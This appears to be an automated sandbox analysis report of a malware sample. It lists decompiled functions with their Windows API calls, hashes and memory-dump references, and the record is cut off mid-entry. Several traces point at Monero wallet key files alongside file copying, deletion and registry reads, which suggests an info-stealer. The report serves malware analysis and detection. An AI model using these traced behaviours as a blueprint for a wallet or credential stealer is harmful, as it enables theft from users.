Instruction ID: f41245940dc087d817c67aeae90db54deb9901b0fc6b999e0e9fd45d6ed17252
Opcode Fuzzy Hash: c2918b9303ecdaba0840fdf673a3a594636216127824df60c9e769f2f7712577
Instruction Fuzzy Hash: 48614171A10248EBDB18EFA4CC96FEE7779AF95304F408418F90A9F191EB746A05CF52

Function 001740B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,00CCE098,00000000,00020119,?), ref: 001740F4
RegQueryValueExA.ADVAPI32(?,00CCF4A0,00000000,00000000,00000000,000000FF), ref: 00174118
RegCloseKey.ADVAPI32(?), ref: 00174122
lstrcat.KERNEL32(?,00000000), ref: 00174147
lstrcat.KERNEL32(?,00CCF578), ref: 0017415B

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: b7533108f1ed824aa3db29d399d6e36becc19b7f0203d77b6b4aea18c83655fd
Instruction ID: d8c8eabe359a263eec1dc3ea00e77d4df6baa105ee222feeb0465572119cf655
Opcode Fuzzy Hash: b7533108f1ed824aa3db29d399d6e36becc19b7f0203d77b6b4aea18c83655fd
Instruction Fuzzy Hash: 5F41B7B79001086BDB15EBA0DC46FFE733DAB99300F008959B61A96181EF755B88CB92

Function 00177E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00177E37
RtlAllocateHeap.NTDLL(00000000), ref: 00177E3E
RegOpenKeyExA.ADVAPI32(80000002,00CBBD68,00000000,00020119,?), ref: 00177E5E
RegQueryValueExA.ADVAPI32(?,00CCE238,00000000,00000000,000000FF,000000FF), ref: 00177E7F
RegCloseKey.ADVAPI32(?), ref: 00177E92

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 64ce482c958b5b92a3198332ee6d0cc4df49004a18368e219f57241e75e96e3a
Instruction ID: f724e79095bdd539a4c09027e5f20509e22b6a7931d13e5a3c9dfd51c4749ec6
Opcode Fuzzy Hash: 64ce482c958b5b92a3198332ee6d0cc4df49004a18368e219f57241e75e96e3a
Instruction Fuzzy Hash: 1F119EB2A44609EBD705CFD4DD49FBBBBBCEB09B00F108119F605A7280DB785800CBA1

Function 00179260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(00CCF020,?,?,?,0017140C,?,00CCF020,00000000), ref: 0017926C
lstrcpyn.KERNEL32(003AAB88,00CCF020,00CCF020,?,0017140C,?,00CCF020), ref: 00179290
lstrlen.KERNEL32(?,?,0017140C,?,00CCF020), ref: 001792A7
wsprintfA.USER32 ref: 001792C7

Strings

%s%s, xrefs: 001792B5

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 7f9ec14cd2061ff96dbebf78d74e034dc558420a8ddac94c28d41e4be273278c
Instruction ID: b3d31e488331b2b04974aa7c978029daee7b5711abb6e1e616b167d24974f3da
Opcode Fuzzy Hash: 7f9ec14cd2061ff96dbebf78d74e034dc558420a8ddac94c28d41e4be273278c
Instruction Fuzzy Hash: 9B01D676500608FFCB05DFECC998EAE7BB9EB49354F108148F9099B245C731AA80DBA1

Function 001612A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001612B4
RtlAllocateHeap.NTDLL(00000000), ref: 001612BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 001612D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 001612F5
RegCloseKey.ADVAPI32(?), ref: 001612FF

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 638b657b8f09ccf2597fa936875616d5ca8910969c372298cf2b55b5c1462489
Instruction ID: 658a0a87bd71a1e4e3547b68fba7ed7e0b2bcd1e9cc44497a5160cc5325df1a5
Opcode Fuzzy Hash: 638b657b8f09ccf2597fa936875616d5ca8910969c372298cf2b55b5c1462489
Instruction Fuzzy Hash: EB011DBAA40208BBDB05DFE4DC49FAEBBBCEB48701F108159FA0597280D7759A01CB51

Function 0017C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0017C8EC
___crtLCMapStringA.LIBCMT ref: 0017C90C
___crtLCMapStringA.LIBCMT ref: 0017C931

Strings

, xrefs: 0017C896

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 4bd456c2efe7ac49db4f25d68bf422de458c1489d814fb8c88c68c24e828d8d9
Instruction ID: 4481d7cdd93cc1626bdaba18698fba381ff4c860c9cd1252986e91b36e88a22c
Opcode Fuzzy Hash: 4bd456c2efe7ac49db4f25d68bf422de458c1489d814fb8c88c68c24e828d8d9
Instruction Fuzzy Hash: 8441E5B110079C5EDB258B248C84BFBBBF99F45708F1484ECEA8E86182D3719A448FA0

Function 00176630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00176663

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

ShellExecuteEx.SHELL32(0000003C), ref: 00176726
ExitProcess.KERNEL32 ref: 00176755

Strings

<, xrefs: 001766D9

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 8373b37e679be65be00182afb4e9c622c1fd32a1bd9f261d7e0cfc4f3bbce45c
Instruction ID: 4a71005ca369c2d731f33bf3fc1c82e6b79f71eab707506ebd3bac7eb62d27f7
Opcode Fuzzy Hash: 8373b37e679be65be00182afb4e9c622c1fd32a1bd9f261d7e0cfc4f3bbce45c
Instruction Fuzzy Hash: FB313CB2801208ABDB55EB90DC95FDE777CAF94300F808198F31966191DF746B48CF5A

Function 001787C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00180E28,00000000,?), ref: 0017882F
RtlAllocateHeap.NTDLL(00000000), ref: 00178836
wsprintfA.USER32 ref: 00178850

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Strings

%dx%d, xrefs: 00178847

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: de8fd8d9cd8349275b3d0c4285bc076cd6376f024f43f7e7e0029280e999f7da
Instruction ID: 60152742c15be4ead0ee804a53fd54526fae9e1e7999fb463a801483b220f3db
Opcode Fuzzy Hash: de8fd8d9cd8349275b3d0c4285bc076cd6376f024f43f7e7e0029280e999f7da
Instruction Fuzzy Hash: 3E21FEB2A40608AFDB05DF94DD49FAEBBBCFB49B11F104119F605A7290C7799901CBA1

Function 00178D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0017951E,00000000), ref: 00178D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00178D62
wsprintfW.USER32 ref: 00178D78

Strings

%hs, xrefs: 00178D6F

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: ed89edd06c491f94146761d61dfcdbf5ce098ce2c5b1c8154962b35878b5921c
Instruction ID: 1ec74102a9189d2078bbe474528eeab3f6b5d5148e68fdc48e7c5736dc2970ba
Opcode Fuzzy Hash: ed89edd06c491f94146761d61dfcdbf5ce098ce2c5b1c8154962b35878b5921c
Instruction Fuzzy Hash: 8EE046B2A40208BBC701DF94DC0AA697BACEB0A702F000094F90986280DA759A008B92

Function 0016A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 00178B60: GetSystemTime.KERNEL32(00180E1A,00CCEEF0,001805AE,?,?,001613F9,?,0000001A,00180E1A,00000000,?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 00178B86

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0016A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0016A3FF
lstrlen.KERNEL32(00000000), ref: 0016A6BC

Part of subcall function 0017A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0017A7E6

DeleteFileA.KERNEL32(00000000), ref: 0016A743

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 7d9913b539cbea182d4cb640df916791fa2b0cfe074278f8eabb5c5334dc1e50
Instruction ID: 87bd17a37fa52daee5dba688e421a8e45cdffae5e4be75f5e780b50515579d57
Opcode Fuzzy Hash: 7d9913b539cbea182d4cb640df916791fa2b0cfe074278f8eabb5c5334dc1e50
Instruction Fuzzy Hash: AEE1CF728501189BDB05FBA4DC92EEE733CAFA4301F90C169F51A76091EF346B59CB62

Function 0016D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 00178B60: GetSystemTime.KERNEL32(00180E1A,00CCEEF0,001805AE,?,?,001613F9,?,0000001A,00180E1A,00000000,?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 00178B86

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0016D481
lstrlen.KERNEL32(00000000), ref: 0016D698
lstrlen.KERNEL32(00000000), ref: 0016D6AC
DeleteFileA.KERNEL32(00000000), ref: 0016D72B

Memory Dump Source

Source File: 00000000.00000002.2152271112.0000000000161000.00000040.00000001.01000000.00000003.sdmp, Offset: 00160000, based on PE: true

Associated: 00000000.00000002.2152147677.0000000000160000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000211000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.000000000021D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.0000000000242000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152271112.00000000003AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.00000000003BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000543000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.0000000000645000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000064B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153810726.000000000065B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155154997.000000000065C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2155496811.00000000007F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2156048984.00000000007F7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_160000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: fe715aac5f1964b0868055ba50f5767f57c6d5de7fa1a0a859d8ff585b96188a
Instruction ID: 8532f78767d8195d66d513d2e31c8dfc6efb0c80c4d3b81c83b24711b01178f7
Opcode Fuzzy Hash: fe715aac5f1964b0868055ba50f5767f57c6d5de7fa1a0a859d8ff585b96188a
Instruction Fuzzy Hash: AE9104729101089BDB05FBA4DC96DEE733CAFA4305F90C169F51BA6091EF346A49CB63

Function 0016D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0017A740: lstrcpy.KERNEL32(00180E17,00000000), ref: 0017A788

Part of subcall function 0017A9B0: lstrlen.KERNEL32(?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 0017A9C5
Part of subcall function 0017A9B0: lstrcpy.KERNEL32(00000000), ref: 0017AA04
Part of subcall function 0017A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0017AA12

Part of subcall function 0017A8A0: lstrcpy.KERNEL32(?,00180E17), ref: 0017A905

Part of subcall function 00178B60: GetSystemTime.KERNEL32(00180E1A,00CCEEF0,001805AE,?,?,001613F9,?,0000001A,00180E1A,00000000,?,00CC9188,?,\Monero\wallet.keys,00180E17), ref: 00178B86

Part of subcall function 0017A920: lstrcpy.KERNEL32(00000000,?), ref: 0017A972
Part of subcall function 0017A920: lstrcat.KERNEL32(00000000), ref: 0017A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0016D801
lstrlen.KERNEL32(00000000), ref: 0016D99F
lstrlen.KERNEL32(00000000), ref: 0016D9B3
DeleteFileA.KERNEL32(00000000), ref: 0016DA32

Memory Dump Source

